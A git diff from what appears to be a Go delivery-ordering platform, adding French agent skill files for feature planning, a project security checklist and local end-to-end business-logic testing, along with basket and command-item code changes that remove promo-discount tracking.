- Qui déclenche l'action, qui peut la voir, qui peut l'annuler/modifier.
|
||||||
|
- Nouveau endpoint ? → préciser le middleware d'auth (client vs admin/livreur/cabine) et la vérification de propriété de ressource.
|
||||||
|
|
||||||
|
### 3. Impact sur les données
|
||||||
|
- Nouvelles colonnes/tables ? Migration nécessaire (`ALTER TABLE ... IF NOT EXISTS` dans `db_init.go`, cohérent avec le style existant du projet).
|
||||||
|
- Tables existantes affectées, et sens des colonnes touchées (stock, solde, statut, compteur).
|
||||||
|
|
||||||
|
### 4. Flux détaillé
|
||||||
|
- Étapes séquencées, y compris les statuts intermédiaires si la fonctionnalité touche au cycle de vie d'une commande.
|
||||||
|
- Effets de bord obligatoires à tracer explicitement : stock (décrément/remboursement symétriques, y compris articles récompense), points de fidélité, solde de parrainage, pénalités, notifications Telegram.
|
||||||
|
|
||||||
|
### 5. Sécurité (voir skill `securite-projet` pour le détail)
|
||||||
|
- Validation d'entrée (bornes, whitelist de statuts, longueur).
|
||||||
|
- Requêtes paramétrées uniquement.
|
||||||
|
- Si paiement ou webhook externe impliqué : vérification de signature avant traitement.
|
||||||
|
- Pas de nouveau chemin d'auto-inscription ou de contournement d'autorisation.
|
||||||
|
|
||||||
|
### 6. Concurrence et atomicité
|
||||||
|
- Cette action peut-elle être rejouée (double-tap, retry réseau, webhook dupliqué) ? Si oui : mécanisme d'idempotence explicite (vérifier l'état courant avant d'agir, retourner un succès idempotent plutôt qu'une erreur ou un double effet).
|
||||||
|
- Lecture-puis-décision-puis-écriture sur une valeur partagée (stock, solde) ? → transaction unique avec `FOR UPDATE`, jamais une suite d'appels séparés.
|
||||||
|
- Toute création d'enregistrement (commande, paiement) doit être dans la **même transaction** que ses effets de bord critiques (décrément stock, débit solde) — pas de risque d'enregistrement "fantôme" si une étape suivante échoue.
|
||||||
|
|
||||||
|
### 7. Plan de test
|
||||||
|
- Cas nominal.
|
||||||
|
- Cas limite métier (stock insuffisant, solde insuffisant, commande déjà dans l'état cible, ressource appartenant à un autre utilisateur).
|
||||||
|
- Cas de concurrence si pertinent (double-tap simulé, deux requêtes quasi simultanées).
|
||||||
|
- Comment vérifier après implémentation (`go build`, `go vet`, test manuel via `/verify` ou l'app si UI concernée).
|
||||||
|
|
||||||
|
### 8. Points ouverts
|
||||||
|
Toute question métier ou technique non tranchée, à soumettre explicitement à l'utilisateur plutôt que de trancher seul par défaut.
|
||||||
|
|
||||||
|
## Étape 2 — Validation puis implémentation
|
||||||
|
|
||||||
|
Ne commencer l'implémentation qu'après retour explicite de l'utilisateur sur le plan. Si l'utilisateur ne modifie rien, considérer le plan tel quel comme approuvé. Implémenter ensuite en suivant fidèlement les sections Sécurité et Concurrence du plan — elles ne sont pas optionnelles une fois validées.
|
||||||
|
|
||||||
|
## Quand ne pas utiliser ce skill
|
||||||
|
|
||||||
|
- Bug fix ponctuel et bien circonscrit (ex: correction d'une requête, d'un typo, d'une regression déjà diagnostiquée) où un plan formel ajouterait de la friction sans valeur — corriger directement.
|
||||||
|
- Modification purement cosmétique (style, renommage local, commentaire).
|
||||||
|
- Le skill s'applique dès qu'une action touche : un nouveau statut ou transition de commande, un flux d'argent ou de points, une nouvelle route API, ou un changement de permission.
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
---
|
||||||
|
name: securite-projet
|
||||||
|
description: Checklist de sécurité spécifique à ce projet (JWT multi-rôles, 2FA Telegram, webhook crypto NowPayments, VPN, WAF, création de comptes admin-only). À invoquer avant de merger tout code touchant à l'authentification, aux paiements, aux endpoints admin/livreur/cabine, ou à l'infrastructure serveur — en complément du skill générique security-review, pas à sa place.
|
||||||
|
---
|
||||||
|
|
||||||
|
# Sécurité — spécifique à ce projet
|
||||||
|
|
||||||
|
Cette checklist complète (ne remplace pas) le skill générique `security-review`. Elle encode les règles de sécurité **propres à cette plateforme**, qui ne sont pas détectables par une revue générique OWASP.
|
||||||
|
|
||||||
|
## Authentification et autorisation
|
||||||
|
|
||||||
|
- **Deux familles de JWT strictement séparées** : `USER_JWT_SECRET` (client) et `ADMIN_JWT_SECRET` (admin/livreur/cabine). Ne jamais faire valider un token d'une famille par le middleware de l'autre.
|
||||||
|
- Sessions actives trackées dans Redis (`session:{token}`, TTL 5h client / 2h admin) — la révocation d'un token doit supprimer la clé Redis correspondante, pas seulement compter sur l'expiration JWT.
|
||||||
|
- **Aucun endpoint d'auto-inscription client** ne doit exister. Si une tâche demande d'ajouter un moyen de créer un compte client hors du panel admin, c'est un signal d'alerte à soulever explicitement avant d'implémenter.
|
||||||
|
- Pour tout nouvel endpoint livreur/cabine : vérifier le rôle **et** la propriété de la ressource (`livreur_assign == username`), jamais le rôle seul. C'est l'erreur la plus fréquente dans ce code : un livreur authentifié valide ne doit agir que sur ses propres commandes.
|
||||||
|
- 2FA : le `session_token` de vérification (TTL 5 min) et le code à 6 chiffres doivent rester **rate-limités** (429 après trop de tentatives) — ne jamais retirer ce rate limiting pour "simplifier" un flux.
|
||||||
|
|
||||||
|
## Paiements crypto (NowPayments)
|
||||||
|
|
||||||
|
- Le webhook `POST /api/v1/webhooks/nowpayments` est un endpoint **public** par nécessité (appelé par NowPayments, pas par un utilisateur authentifié). Sa seule protection est la vérification **HMAC-SHA512** de l'en-tête `x-nowpayments-sig` — ne jamais traiter un payload dont la signature ne vérifie pas, quel que soit le contenu.
|
||||||
|
- Ne jamais faire confiance à un statut de paiement transmis par le client (ex: un champ `payment_status` dans une requête utilisateur) — seul le webhook signé ou un appel serveur-à-serveur à l'API NowPayments (`GetPaymentStatus`) fait foi.
|
||||||
|
- Toute transition `pending_payment → cancelled` doit être gardée par une vérification du statut courant (`WHERE status = 'pending_payment'`) pour éviter un double remboursement de stock si le webhook est reçu plusieurs fois (NowPayments peut renvoyer le même événement).
|
||||||
|
|
||||||
|
## Requêtes base de données
|
||||||
|
|
||||||
|
- Toutes les requêtes utilisent des paramètres liés GORM (`?` binding) — **jamais** de concaténation de chaînes dans une requête `Raw`/`Exec`, y compris pour des valeurs qui semblent "internes" (statuts, IDs). Une seule exception acceptable : les noms de colonnes/tables provenant d'une liste blanche fixe dans le code, jamais d'une entrée utilisateur.
|
||||||
|
- Toute opération qui lit puis modifie un compteur/solde partagé (stock, solde de parrainage, compteur d'annulations) doit se faire dans une transaction avec `FOR UPDATE` si une décision (ex: "stock suffisant ?") dépend de la valeur lue — sinon condition de course exploitable (survente, sur-crédit).
|
||||||
|
|
||||||
|
## Infrastructure
|
||||||
|
|
||||||
|
- PostgreSQL et Redis ne sont **jamais** exposés publiquement — accessibles uniquement via le VPN WireGuard (`10.0.0.0/24`) depuis `prod-uber`. Ne jamais suggérer d'ouvrir ces ports sur l'IP publique, même temporairement pour du debug.
|
||||||
|
- Les secrets (`.env`, clés JWT, `NOWPAYMENTS_IPN_SECRET`, `TELEGRAM_WEBHOOK_SECRET`) ne doivent jamais apparaître dans un commit, un log applicatif, ou une réponse API d'erreur.
|
||||||
|
- Le WAF (nginx + ModSecurity OWASP CRS) est le point d'entrée public — toute modification de routes ou de headers doit rester compatible avec ses règles (CSP, HSTS, TLS 1.2/1.3).
|
||||||
|
- SSH restreint au VPN sur les serveurs sensibles (`monitoring-uber`, `backup-mln`, `bdd-redis-prod`) — jump host via `vpn-uber`. Ne jamais recommander de désactiver cette restriction.
|
||||||
|
|
||||||
|
## Checklist rapide avant de merger un changement sensible
|
||||||
|
|
||||||
|
Pour tout endpoint touchant argent, stock, statut de commande, ou compte utilisateur :
|
||||||
|
|
||||||
|
- [ ] Rôle **et** propriété de la ressource vérifiés (pas l'un sans l'autre)
|
||||||
|
- [ ] Entrées validées (bornes numériques, longueur de chaîne, whitelist de statuts)
|
||||||
|
- [ ] Requêtes paramétrées, aucune concaténation SQL
|
||||||
|
- [ ] Opération idempotente si l'action peut être rejouée (retry réseau, double-tap, webhook dupliqué)
|
||||||
|
- [ ] Transaction + verrou (`FOR UPDATE`) si lecture-puis-décision-puis-écriture sur une valeur partagée
|
||||||
|
- [ ] Pas de nouveau secret ou donnée sensible loggé en clair
|
||||||
|
- [ ] Si paiement crypto impliqué : signature webhook vérifiée avant tout traitement
|
||||||
@@ -0,0 +1,145 @@
|
|||||||
|
---
|
||||||
|
name: test-logique-metier
|
||||||
|
description: À lancer systématiquement à la fin de l'implémentation de toute fonctionnalité touchant à la logique métier (stock, commandes, paiements, points, parrainage, pénalités). Démarre l'API en local, exécute une série de scénarios réels via curl contre l'API, et vérifie en base que les invariants métier tiennent (stock décrémenté puis remboursé exactement, idempotence, autorisations par rôle). Ne se contente pas de lire le code — observe le comportement réel.
|
||||||
|
---
|
||||||
|
|
||||||
|
# Test de logique métier — vérification comportementale locale
|
||||||
|
|
||||||
|
Ce skill exécute des tests **de bout en bout contre une instance locale de l'API**, pas une relecture de code. Objectif : détecter les bugs de la classe "le code compile et semble correct, mais le comportement observé diverge" — exactement le type de bugs trouvés et corrigés dans ce projet (stock jamais décrémenté, double remboursement, commande fantôme). S'appuie sur les règles métier du skill `comprehension-metier` : le lire d'abord si ce n'est pas déjà fait.
|
||||||
|
|
||||||
|
**Ne jamais exécuter ces tests contre la base pre-prod ou prod.** Uniquement contre un environnement local jetable.
|
||||||
|
|
||||||
|
## Quand l'utiliser
|
||||||
|
|
||||||
|
- À la fin de l'implémentation de toute fonctionnalité qui touche : stock, cycle de vie d'une commande, paiement (cash/crypto), points/récompenses, parrainage, pénalités, permissions par rôle.
|
||||||
|
- Après toute correction de bug dans ces domaines (pour confirmer la correction ET l'absence de régression sur les cas adjacents).
|
||||||
|
- Complément du skill `plan-fonctionnalite` (étape "plan de test" de ce skill) — celui-ci l'exécute réellement au lieu de rester une liste sur papier.
|
||||||
|
- Ne pas l'utiliser pour un changement purement cosmétique ou un fix qui ne touche aucune règle métier.
|
||||||
|
|
||||||
|
## Étape 0 — Préparer l'environnement local
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. Postgres + Redis locaux (depuis backend/gestion/)
|
||||||
|
cd backend/gestion
|
||||||
|
docker compose up -d
|
||||||
|
docker compose ps # attendre "healthy" sur les deux services
|
||||||
|
|
||||||
|
# 2. Variables d'environnement minimales (adapter aux valeurs du .env local)
|
||||||
|
export DB_HOST=localhost DB_PORT=5432 DB_USER=postgres DB_PASSWORD=postgres DB_NAME=<db_name>
|
||||||
|
export REDIS_HOST=localhost REDIS_PORT=6379 REDIS_PASSWORD=<redis_password>
|
||||||
|
export USER_JWT_SECRET=$(openssl rand -hex 32)
|
||||||
|
export ADMIN_JWT_SECRET=$(openssl rand -hex 32)
|
||||||
|
|
||||||
|
# 3. Lancer l'API (dans un terminal séparé ou en arrière-plan)
|
||||||
|
go run main.go # écoute sur :8080, crée les tables au démarrage (createTables)
|
||||||
|
```
|
||||||
|
|
||||||
|
Vérifier que l'API répond avant de continuer :
|
||||||
|
```bash
|
||||||
|
curl -sf http://localhost:8080/api/v1/app-settings > /dev/null && echo "API up"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Étape 1 — Obtenir un compte admin de test
|
||||||
|
|
||||||
|
**La création d'un compte admin est volontairement bloquée via l'API** (voir `comprehension-metier`) — impossible d'obtenir un token admin par un simple appel HTTP. Il faut l'insérer directement en base locale (jetable, jamais en pre-prod/prod) :
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Générer un hash bcrypt pour le mot de passe de test
|
||||||
|
HASH=$(go run -exec "" - <<'EOF' 2>/dev/null || python3 -c "import bcrypt; print(bcrypt.hashpw(b'TestPass123!', bcrypt.gensalt()).decode())"
|
||||||
|
package main
|
||||||
|
import ("fmt"; "golang.org/x/crypto/bcrypt")
|
||||||
|
func main() {
|
||||||
|
h, _ := bcrypt.GenerateFromPassword([]byte("TestPass123!"), bcrypt.DefaultCost)
|
||||||
|
fmt.Println(string(h))
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
)
|
||||||
|
|
||||||
|
docker exec -i gestion_postgres psql -U postgres -d <db_name> -c \
|
||||||
|
"INSERT INTO users (username, password, role) VALUES ('test_admin', '$HASH', 'admin') ON CONFLICT (username) DO NOTHING;"
|
||||||
|
```
|
||||||
|
|
||||||
|
Puis se connecter normalement :
|
||||||
|
```bash
|
||||||
|
ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/v2/admin/auth/login \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"username":"test_admin","password":"TestPass123!"}' | jq -r .access_token)
|
||||||
|
```
|
||||||
|
|
||||||
|
À partir de ce token admin, créer les comptes de test nécessaires **via l'API** (c'est le chemin normal) : client de test, livreur de test, cabine de test — jamais par insertion SQL directe pour ceux-là, afin de tester le vrai chemin de création.
|
||||||
|
|
||||||
|
## Étape 2 — Méthode générale
|
||||||
|
|
||||||
|
Pour chaque scénario : **agir via l'API (curl)**, puis **vérifier l'état réel en base** (`docker exec gestion_postgres psql ...`) plutôt que de se fier uniquement à la réponse HTTP — une réponse 200 ne prouve pas que l'effet de bord a eu lieu correctement.
|
||||||
|
|
||||||
|
Gabarit de vérification stock :
|
||||||
|
```bash
|
||||||
|
docker exec -i gestion_postgres psql -U postgres -d <db_name> -t -c \
|
||||||
|
"SELECT stock FROM products WHERE id = $PRODUCT_ID;"
|
||||||
|
```
|
||||||
|
|
||||||
|
Toujours noter le stock **avant** l'action, exécuter l'action, relire le stock **après**, et comparer à la valeur attendue calculée manuellement (pas juste "différent de avant").
|
||||||
|
|
||||||
|
## Étape 3 — Scénarios à exécuter
|
||||||
|
|
||||||
|
### Stock — commande normale
|
||||||
|
1. Créer un produit avec stock connu (ex. 10).
|
||||||
|
2. Client ajoute 3 unités au panier, checkout.
|
||||||
|
3. Vérifier : stock produit = 7 exactement.
|
||||||
|
4. Client annule la commande.
|
||||||
|
5. Vérifier : stock produit = 10 exactement (retour à la valeur initiale).
|
||||||
|
|
||||||
|
### Stock — articles récompense
|
||||||
|
1. Configurer un pool de points avec un seuil bas et un `RewardItem` pointant vers un produit à stock connu.
|
||||||
|
2. Faire gagner assez de points au client de test (achats successifs), puis réclamer la récompense (`ClaimMyReward`).
|
||||||
|
3. Checkout incluant l'article récompense.
|
||||||
|
4. Vérifier : stock décrémenté de la quantité offerte, **comme un article payant**.
|
||||||
|
5. Annuler la commande → vérifier stock restauré exactement.
|
||||||
|
|
||||||
|
### Stock — idempotence de l'annulation
|
||||||
|
1. Créer une commande, la faire annuler une première fois (client, livreur, ou admin — tester les trois chemins séparément).
|
||||||
|
2. Rejouer le même appel d'annulation une seconde fois sur la même commande.
|
||||||
|
3. Vérifier : le second appel ne modifie **pas** le stock une seconde fois (comparer stock après 1er appel et après 2e appel — doivent être identiques), et renvoie une réponse cohérente (pas une erreur qui laisserait croire à un échec silencieux).
|
||||||
|
|
||||||
|
### Stock — commande fantôme / double-submit
|
||||||
|
1. Vider le panier d'un client, y ajouter un article dont le stock est juste suffisant pour une seule commande (ex. stock = 2, quantité demandée = 2).
|
||||||
|
2. Envoyer **deux requêtes de checkout quasi simultanées** pour ce même client (deux processus curl en parallèle, `&` en shell).
|
||||||
|
3. Vérifier : une seule commande a réellement décrémenté le stock, l'autre échoue proprement (panier vide ou stock insuffisant) — **aucune commande "pending" orpheline** ne doit rester en base avec des `command_items` mais un stock jamais décrémenté pour elle.
|
||||||
|
|
||||||
|
### Paiement crypto
|
||||||
|
1. Checkout avec `payment_method: crypto` → vérifier statut `pending_payment` et stock déjà décrémenté à ce stade.
|
||||||
|
2. Simuler le webhook IPN avec statut `failed` (signature HMAC valide requise — générer avec le secret de test) → vérifier commande `cancelled` et stock restauré.
|
||||||
|
3. Répéter avec statut `finished` sur une nouvelle commande → vérifier commande repasse en `pending` (cycle normal), stock reste décrémenté.
|
||||||
|
4. Renvoyer deux fois le même webhook `failed` → vérifier pas de double remboursement.
|
||||||
|
|
||||||
|
### Parrainage
|
||||||
|
1. Lier un parrain à un client, vérifier `referral_balance` du parrain crédité du montant configuré (`ReferralAmount`).
|
||||||
|
2. Checkout du filleul avec crédit parrainage utilisé, panier tout juste au-dessus du minimum de zone + crédit → vérifier acceptation ; en dessous → vérifier rejet avec message explicite.
|
||||||
|
3. Faire échouer le checkout après débit du crédit (ex. stock insuffisant découvert tardivement) → vérifier que `referral_balance` est recrédité, pas perdu.
|
||||||
|
|
||||||
|
### Points et récompenses
|
||||||
|
1. Vérifier que les points s'accumulent dans le bon pool selon la catégorie du produit acheté (pas dans tous les pools).
|
||||||
|
2. Réclamer une récompense au-delà du nombre disponible → vérifier rejet.
|
||||||
|
3. Reset admin des récompenses réclamées d'un client → vérifier que le compteur repart à zéro et que de nouvelles réclamations redeviennent possibles.
|
||||||
|
|
||||||
|
### Pénalités
|
||||||
|
1. Simuler 4 annulations successives du même client (avec livreur assigné + statut `en_route`/`arrived` pour déclencher la pénalité) → vérifier progression exacte du barème (20€, 50€, 100€, 150€ ou barème configuré).
|
||||||
|
2. Avec `amende > 0`, tenter un checkout → vérifier blocage 403 avec message contact.
|
||||||
|
3. Simuler le flux "client absent" (livreur annule depuis `arrived`) → vérifier pénalité appliquée au **client**, jamais au livreur.
|
||||||
|
4. Annulation sans livreur assigné → vérifier absence de pénalité.
|
||||||
|
|
||||||
|
### Permissions par rôle
|
||||||
|
1. Token livreur A tente d'agir sur une commande assignée à livreur B → vérifier 403 (pas seulement vérification du rôle, vérification de la propriété).
|
||||||
|
2. Token client tente d'accéder à une route admin → 403.
|
||||||
|
3. Vérifier qu'aucun endpoint ne permet de créer un compte `admin` via l'API (tenter et confirmer le rejet/l'absence de route).
|
||||||
|
4. Vérifier que le livreur ne reçoit jamais le téléphone du client dans `GET /livreur/deliveries`.
|
||||||
|
|
||||||
|
## Étape 4 — Rapport et suite
|
||||||
|
|
||||||
|
Pour chaque scénario : **PASS** ou **FAIL** avec la preuve chiffrée (valeurs avant/après). En cas de FAIL, ce n'est pas la fin du skill — revenir au code, corriger, puis **relancer uniquement les scénarios concernés** (pas besoin de tout rejouer) jusqu'à ce que tout passe. Ne jamais considérer une fonctionnalité "terminée" avec un scénario en FAIL non expliqué.
|
||||||
|
|
||||||
|
## Nettoyage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
docker compose down -v # supprime aussi les volumes (base de test jetable)
|
||||||
|
```
|
||||||
-6
@@ -84,12 +84,6 @@ jobs:
|
|||||||
mv app.tmp.json app.json
|
mv app.tmp.json app.json
|
||||||
|
|
||||||
- name: Select code signing certificate
|
- name: Select code signing certificate
|
||||||
# certs/certificate.pem (committé) correspond à la clé de signature
|
|
||||||
# du serveur OTA de production ; le serveur pre-prod signe avec une
|
|
||||||
# clé différente (PRIVATE_KEY_PREPROD côté ota-uber), donc les builds
|
|
||||||
# pre-prod doivent embarquer certs/certificate-preprod.pem à la place,
|
|
||||||
# sous peine de voir toute MAJ OTA rejetée silencieusement (signature
|
|
||||||
# invalide) sur ce canal.
|
|
||||||
working-directory: frontend-admin
|
working-directory: frontend-admin
|
||||||
run: |
|
run: |
|
||||||
if [ "${{ steps.config.outputs.profile }}" = "pre-prod" ]; then
|
if [ "${{ steps.config.outputs.profile }}" = "pre-prod" ]; then
|
||||||
+4
-6
@@ -1,10 +1,8 @@
|
|||||||
# Expo local state (in sub-projects)
|
# Expo local state (in sub-projects)
|
||||||
**/.expo/
|
**/.expo/
|
||||||
test_address.sh
|
|
||||||
easpip
|
easpip
|
||||||
ansible/
|
|
||||||
dist/
|
dist/
|
||||||
frontend-prep2/
|
monitoring
|
||||||
scripts/data.txt
|
docker-prod/
|
||||||
scripts/data2.txt
|
.ssh
|
||||||
scripts/data3.txt
|
mc_utilisation
|
||||||
|
|||||||
@@ -137,6 +137,9 @@ func (d *Database) AddToBasket(username string, productID int, quantity float64)
|
|||||||
if err := tx.Raw(`SELECT stock, category FROM products WHERE id = ? FOR UPDATE`, productID).Scan(&productInfo).Error; err != nil {
|
if err := tx.Raw(`SELECT stock, category FROM products WHERE id = ? FOR UPDATE`, productID).Scan(&productInfo).Error; err != nil {
|
||||||
return fmt.Errorf("erreur lecture stock: %w", err)
|
return fmt.Errorf("erreur lecture stock: %w", err)
|
||||||
}
|
}
|
||||||
|
if productInfo.Stock < quantity {
|
||||||
|
return fmt.Errorf("stock insuffisant")
|
||||||
|
}
|
||||||
|
|
||||||
var priceResult struct {
|
var priceResult struct {
|
||||||
Price float64 `gorm:"column:price"`
|
Price float64 `gorm:"column:price"`
|
||||||
@@ -150,49 +153,32 @@ func (d *Database) AddToBasket(username string, productID int, quantity float64)
|
|||||||
}
|
}
|
||||||
// Une promotion active pour ce produit/quantité/catégorie s'applique
|
// Une promotion active pour ce produit/quantité/catégorie s'applique
|
||||||
// automatiquement au prix facturé — indépendamment des points de
|
// automatiquement au prix facturé — indépendamment des points de
|
||||||
// fidélité (contrairement aux récompenses par palier). Le montant
|
// fidélité (contrairement aux récompenses par palier).
|
||||||
// économisé est conservé (promoDiscount) pour les statistiques
|
|
||||||
// admin, indépendamment de la config de promo courante au moment où
|
|
||||||
// ces stats seront consultées.
|
|
||||||
var promoDiscount float64
|
|
||||||
if discounted, ok := d.ApplyPromotionToPrice(productID, productInfo.Category, quantity, priceResult.Price); ok {
|
if discounted, ok := d.ApplyPromotionToPrice(productID, productInfo.Category, quantity, priceResult.Price); ok {
|
||||||
promoDiscount = priceResult.Price - discounted
|
|
||||||
priceResult.Price = discounted
|
priceResult.Price = discounted
|
||||||
}
|
}
|
||||||
|
|
||||||
// Offre "achetez X, Y offert" : le client reçoit une quantité
|
|
||||||
// supplémentaire du même produit, gratuite, sans changer le prix déjà
|
|
||||||
// calculé sur la quantité demandée — la quantité livrée/décomptée du
|
|
||||||
// stock est donc supérieure à la quantité facturée.
|
|
||||||
freeQuantity := d.ResolveFreeGiftQuantity(productID, productInfo.Category, quantity)
|
|
||||||
deliveredQuantity := quantity + freeQuantity
|
|
||||||
|
|
||||||
if productInfo.Stock < deliveredQuantity {
|
|
||||||
return fmt.Errorf("stock insuffisant")
|
|
||||||
}
|
|
||||||
|
|
||||||
var existing struct {
|
var existing struct {
|
||||||
ID int `gorm:"column:id"`
|
ID int `gorm:"column:id"`
|
||||||
Quantity float64 `gorm:"column:quantity"`
|
Quantity float64 `gorm:"column:quantity"`
|
||||||
Price float64 `gorm:"column:price"`
|
Price float64 `gorm:"column:price"`
|
||||||
PromoDiscount float64 `gorm:"column:promo_discount"`
|
|
||||||
}
|
}
|
||||||
// Chercher uniquement un item normal (non-récompense) pour ce produit
|
// Chercher uniquement un item normal (non-récompense) pour ce produit
|
||||||
tx.Raw(`SELECT id, quantity, price, promo_discount FROM baskets WHERE username = ? AND product_id = ? AND is_reward = false`,
|
tx.Raw(`SELECT id, quantity, price FROM baskets WHERE username = ? AND product_id = ? AND is_reward = false`,
|
||||||
username, productID).Scan(&existing)
|
username, productID).Scan(&existing)
|
||||||
|
|
||||||
if existing.ID != 0 {
|
if existing.ID != 0 {
|
||||||
return tx.Raw(`
|
return tx.Raw(`
|
||||||
UPDATE baskets SET quantity = ?, price = ?, promo_discount = ?, created_at = CURRENT_TIMESTAMP
|
UPDATE baskets SET quantity = ?, price = ?, created_at = CURRENT_TIMESTAMP
|
||||||
WHERE id = ? AND is_reward = false RETURNING id, username, product_id, quantity, price, is_reward, promo_discount, created_at`,
|
WHERE id = ? AND is_reward = false RETURNING id, username, product_id, quantity, price, is_reward, created_at`,
|
||||||
existing.Quantity+deliveredQuantity, existing.Price+priceResult.Price,
|
existing.Quantity+quantity, existing.Price+priceResult.Price,
|
||||||
existing.PromoDiscount+promoDiscount, existing.ID).Scan(&basket).Error
|
existing.ID).Scan(&basket).Error
|
||||||
}
|
}
|
||||||
return tx.Raw(`
|
return tx.Raw(`
|
||||||
INSERT INTO baskets (username, product_id, quantity, price, is_reward, promo_discount, created_at)
|
INSERT INTO baskets (username, product_id, quantity, price, is_reward, created_at)
|
||||||
VALUES (?, ?, ?, ?, false, ?, CURRENT_TIMESTAMP)
|
VALUES (?, ?, ?, ?, false, CURRENT_TIMESTAMP)
|
||||||
RETURNING id, username, product_id, quantity, price, is_reward, promo_discount, created_at`,
|
RETURNING id, username, product_id, quantity, price, is_reward, created_at`,
|
||||||
username, productID, deliveredQuantity, priceResult.Price, promoDiscount).Scan(&basket).Error
|
username, productID, quantity, priceResult.Price).Scan(&basket).Error
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
|
|||||||
@@ -19,7 +19,6 @@ type commandItemFull struct {
|
|||||||
Prix float64 `gorm:"column:prix"`
|
Prix float64 `gorm:"column:prix"`
|
||||||
IsReward bool `gorm:"column:is_reward"`
|
IsReward bool `gorm:"column:is_reward"`
|
||||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
||||||
PromoDiscount float64 `gorm:"column:promo_discount"`
|
|
||||||
ClientUsername string `gorm:"column:client_username"`
|
ClientUsername string `gorm:"column:client_username"`
|
||||||
ClientNom string `gorm:"column:client_nom"`
|
ClientNom string `gorm:"column:client_nom"`
|
||||||
ClientPrenom string `gorm:"column:client_prenom"`
|
ClientPrenom string `gorm:"column:client_prenom"`
|
||||||
@@ -40,7 +39,6 @@ func (d *Database) InsertCommandItemsBatch(items []commandItemFull) error {
|
|||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// VALIDATION HELPERS
|
// VALIDATION HELPERS
|
||||||
// ============================================
|
|
||||||
|
|
||||||
func validateCommandID(commandID int) error {
|
func validateCommandID(commandID int) error {
|
||||||
if commandID <= 0 {
|
if commandID <= 0 {
|
||||||
@@ -233,7 +231,6 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
|||||||
ProductID *int64 `gorm:"column:product_id"`
|
ProductID *int64 `gorm:"column:product_id"`
|
||||||
Quantite float64 `gorm:"column:quantite"`
|
Quantite float64 `gorm:"column:quantite"`
|
||||||
Prix float64 `gorm:"column:prix"`
|
Prix float64 `gorm:"column:prix"`
|
||||||
PromoDiscount float64 `gorm:"column:promo_discount"`
|
|
||||||
IsReward bool `gorm:"column:is_reward"`
|
IsReward bool `gorm:"column:is_reward"`
|
||||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
||||||
ClientUsername string `gorm:"column:client_username"`
|
ClientUsername string `gorm:"column:client_username"`
|
||||||
@@ -263,7 +260,6 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
|||||||
ci.product_id,
|
ci.product_id,
|
||||||
ci.quantite,
|
ci.quantite,
|
||||||
ci.prix,
|
ci.prix,
|
||||||
ci.promo_discount,
|
|
||||||
ci.is_reward,
|
ci.is_reward,
|
||||||
ci.reward_pool_key,
|
ci.reward_pool_key,
|
||||||
ci.client_username,
|
ci.client_username,
|
||||||
@@ -312,7 +308,6 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
|||||||
"product_id": productIDValue,
|
"product_id": productIDValue,
|
||||||
"quantite": row.Quantite,
|
"quantite": row.Quantite,
|
||||||
"prix": row.Prix,
|
"prix": row.Prix,
|
||||||
"promo_discount": row.PromoDiscount,
|
|
||||||
"is_reward": row.IsReward,
|
"is_reward": row.IsReward,
|
||||||
"reward_pool_key": row.RewardPoolKey,
|
"reward_pool_key": row.RewardPoolKey,
|
||||||
"client_username": row.ClientUsername,
|
"client_username": row.ClientUsername,
|
||||||
@@ -356,7 +351,6 @@ func (d *Database) GetCommandItemsBatch(commandIDs []int) (map[int][]map[string]
|
|||||||
ProductID *int64 `gorm:"column:product_id"`
|
ProductID *int64 `gorm:"column:product_id"`
|
||||||
Quantite float64 `gorm:"column:quantite"`
|
Quantite float64 `gorm:"column:quantite"`
|
||||||
Prix float64 `gorm:"column:prix"`
|
Prix float64 `gorm:"column:prix"`
|
||||||
PromoDiscount float64 `gorm:"column:promo_discount"`
|
|
||||||
IsReward bool `gorm:"column:is_reward"`
|
IsReward bool `gorm:"column:is_reward"`
|
||||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
||||||
ClientUsername string `gorm:"column:client_username"`
|
ClientUsername string `gorm:"column:client_username"`
|
||||||
@@ -381,7 +375,7 @@ func (d *Database) GetCommandItemsBatch(commandIDs []int) (map[int][]map[string]
|
|||||||
err := d.GDB.Raw(`
|
err := d.GDB.Raw(`
|
||||||
SELECT
|
SELECT
|
||||||
ci.id, ci.command_id, ci.produit, ci.product_id,
|
ci.id, ci.command_id, ci.produit, ci.product_id,
|
||||||
ci.quantite, ci.prix, ci.promo_discount, ci.is_reward, ci.reward_pool_key,
|
ci.quantite, ci.prix, ci.is_reward, ci.reward_pool_key,
|
||||||
ci.client_username, ci.client_nom, ci.client_prenom, ci.client_telephone,
|
ci.client_username, ci.client_nom, ci.client_prenom, ci.client_telephone,
|
||||||
ci.delivery_address, ci.status, ci.created_at, ci.updated_at,
|
ci.delivery_address, ci.status, ci.created_at, ci.updated_at,
|
||||||
c.status as command_status, c.adresse as command_address,
|
c.status as command_status, c.adresse as command_address,
|
||||||
@@ -411,7 +405,7 @@ func (d *Database) GetCommandItemsBatch(commandIDs []int) (map[int][]map[string]
|
|||||||
item := map[string]any{
|
item := map[string]any{
|
||||||
"id": row.ID, "command_id": row.CommandID,
|
"id": row.ID, "command_id": row.CommandID,
|
||||||
"produit": row.Produit, "product_id": productIDValue,
|
"produit": row.Produit, "product_id": productIDValue,
|
||||||
"quantite": row.Quantite, "prix": row.Prix, "promo_discount": row.PromoDiscount,
|
"quantite": row.Quantite, "prix": row.Prix,
|
||||||
"is_reward": row.IsReward, "reward_pool_key": row.RewardPoolKey,
|
